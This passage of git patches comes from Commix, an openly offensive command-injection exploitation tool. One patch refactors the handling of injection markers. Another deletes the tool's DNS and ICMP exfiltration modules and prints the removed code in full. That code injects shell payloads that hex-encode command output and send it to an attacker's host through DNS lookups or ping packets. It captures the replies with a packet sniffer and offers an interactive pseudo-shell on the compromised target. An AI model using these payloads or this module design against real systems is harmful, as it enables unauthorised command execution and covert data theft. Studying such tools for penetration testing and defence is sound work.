settings.HTTP_HEADER_INJECTION_LEVEL + parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) + + if settings.WILDCARD_CHAR_APPLIED: + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or not settings.IS_TTY: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + menu.options.test_parameter = parameter + return + elif procced_option in settings.CHOICE_NO: + settings.WILDCARD_CHAR_APPLIED = None + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass """ @@ -309,6 +359,9 @@ def init_injection(url): """ def main(filename, url): try: + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True @@ -320,70 +373,32 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: settings.WILDCARD_CHAR_APPLIED = False - parameter = "" - if menu.options.url and settings.WILDCARD_CHAR in menu.options.url: - option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_GET_check(menu.options.url, http_request_method) - parameter = parameters.vuln_GET_param(parameter[0]) - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_POST_check(menu.options.data, http_request_method) - if len(parameter) == 0: - parameter = parameter[0] - parameter = parameters.vuln_POST_param(parameter, url="") - else: - option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - cookie = parameters.do_cookie_check(menu.options.cookie) - parameter = parameters.specify_cookie_parameter(cookie) - - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "user-agent" + check_custom_injection_marker(url) - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "referer" - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) - - if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + # Define the level of tests to perform. + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + else: + err_msg = "The value for option '--level' " + err_msg += "must be an integer value from range [1, 3]." print(settings.print_critical_msg(err_msg)) - raise SystemExit - - if settings.WILDCARD_CHAR_APPLIED: - while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " - message += "Do you want to process it? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - menu.options.test_parameter = parameter - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: @@ -788,31 +803,6 @@ def main(filename, url): if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level - # Define the level of tests to perform. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) - elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) - elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) - else: - err_msg = "The value for option '--level' " - err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -839,7 +829,7 @@ def main(filename, url): url = menu.options.url if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: - http_request_method = check_http_method(url) + http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url) @@ -919,7 +909,7 @@ def main(filename, url): print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = check_http_method(url) + http_request_method = checks.check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 54d23d64aa..dab16c0b3f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -371,8 +371,7 @@ def do_check(request): http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and \ - (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER): + if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3bab67ed60..ccd7761cb7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -346,7 +346,8 @@ def do_POST_check(parameter, http_request_method): Define the vulnerable POST parameter. """ def vuln_POST_param(parameter, url): - + if isinstance(parameter, list): + parameter = " ".join(parameter) # JSON data format if settings.IS_JSON: param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index af95d1fba3..73312dd725 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 94c486340fa8322cc910d02c63724e05e4320ef4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 Jun 2022 08:59:38 +0300 Subject: [PATCH 152/560] The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. --- doc/CHANGELOG.md | 1 + src/core/modules/dns_exfiltration/__init__.py | 16 - .../dns_exfiltration/dns_exfiltration.py | 263 --------------- .../modules/icmp_exfiltration/__init__.py | 16 - .../icmp_exfiltration/icmp_exfiltration.py | 302 ------------------ src/core/modules/modules_handler.py | 24 -- src/utils/menu.py | 11 - src/utils/settings.py | 2 +- 8 files changed, 2 insertions(+), 633 deletions(-) delete mode 100644 src/core/modules/dns_exfiltration/__init__.py delete mode 100755 src/core/modules/dns_exfiltration/dns_exfiltration.py delete mode 100644 src/core/modules/icmp_exfiltration/__init__.py delete mode 100755 src/core/modules/icmp_exfiltration/icmp_exfiltration.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7f1c8627af..ca70c3d3fa 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py deleted file mode 100644 index 7ce1185b92..0000000000 --- a/src/core/modules/dns_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py deleted file mode 100755 index 50739f4335..0000000000 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ /dev/null @@ -1,263 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -import threading -from src.utils import menu -from src.utils import logs -from src.utils import common as _common -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.convert import hexdecode -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The DNS exfiltration technique: -exfiltrate data using a user-defined DNS server [1]. - -[1] http://www.contextis.com/resources/blog/data-exfiltration-blind-os-command-injection/ -""" - -def querysniff(pkt): - if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: - if ".xxx" in pkt.getlayer(DNS).qd.qname: - print(hexdecode(pkt.getlayer(DNS).qd.qname.split(".xxx")[0])) - -def signal_handler(signal, frame): - os._exit(0) - -def snif(dns_server): - info_msg = "Started the sniffer between you and the DNS server '" - info_msg += Style.BRIGHT + Fore.YELLOW + dns_server + Style.RESET_ALL + "'." - print(settings.print_bold_info_msg(info_msg)) - while True: - sniff(filter="port 53", prn=querysniff, store = 0) - -def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): - # DNS exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c 16 | while read line; do host $line.xxx " + dns_server + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - request = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) - request = _urllib.request.Request(url=url, data=data) - - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(2) - sys.stdout.write("\n" + Style.RESET_ALL) - -def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = _common.read_input(message, default="Y", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - - except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(dns_server, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - #signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(dns_server, )).start() - #time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(dns_server, http_request_method, url, vuln_parameter, technique) - - -def dns_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have administrative privileges to run this module. - if not _common.running_as_admin(): - err_msg = "You need to have administrative privileges to run this module." - print(settings.print_critical_msg(err_msg)) - os._exit(0) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - #url = parameters.do_GET_check(url, http_request_method) - vuln_parameter = parameters.vuln_GET_param(url) - request = _urllib.request.Request(url) - headers.do_check(request) - - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - dns_server = menu.options.dns_server - technique = "DNS exfiltration module" - info_msg = "Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - exploitation(dns_server, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - dns_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py deleted file mode 100644 index 7ce1185b92..0000000000 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py deleted file mode 100755 index 5a45db8d81..0000000000 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client -import threading -from src.utils import menu -from src.utils import logs -from src.utils import common as _common -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The ICMP exfiltration technique: -Exfiltrate data using the ping utility. - -[1] http://blog.ring-zer0.com/2014/02/data-exfiltration-on-linux.html -[2] http://blog.curesec.com/article/blog/23.html -""" - -add_new_line = True -exfiltration_length = 8 - -def packet_handler(Packet): - global add_new_line - if Packet.haslayer(ICMP): - Data = Packet.getlayer(ICMP).getlayer(Raw) - exfiltrated_data = Data.load[int(exfiltration_length):].replace(exfiltration_length * "\n","\n") - if exfiltrated_data.endswith("\n"): - add_new_line = False - sys.stdout.write(exfiltrated_data) - sys.stdout.flush() - -def signal_handler(signal, frame): - sys.stdout.write(Style.RESET_ALL) - exit(0) - -def snif(ip_dst, ip_src): - info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src - info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW - info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." - print(settings.print_bold_info_msg(info_msg)) - - while True: - sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC) - -def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): - global add_new_line - # ICMP exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - req = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) - request = _urllib.request.Request(url=url, data=data) - - try: - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(3) - sys.stdout.write(Style.RESET_ALL) - if add_new_line: - print("\n") - add_new_line = True - else: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.reason) + ".")) - raise SystemExit() - - except _http_client.InvalidURL as err: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = _common.read_input(message, default="Y", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - except KeyboardInterrupt: - os._exit(0) - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(ip_dst, ip_src, )).start() - time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(http_request_method, url, vuln_parameter, ip_src, technique) - -def icmp_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have administrative privileges to run this module. - if not _common.running_as_admin(): - err_msg = "You need to have administrative privileges to run this module." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - #url = parameters.do_GET_check(url, http_request_method) - request = _urllib.request.Request(url) - headers.do_check(request) - vuln_parameter = parameters.vuln_GET_param(url) - - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - technique = "ICMP exfiltration module" - info_msg ="Loading the " + technique + ". 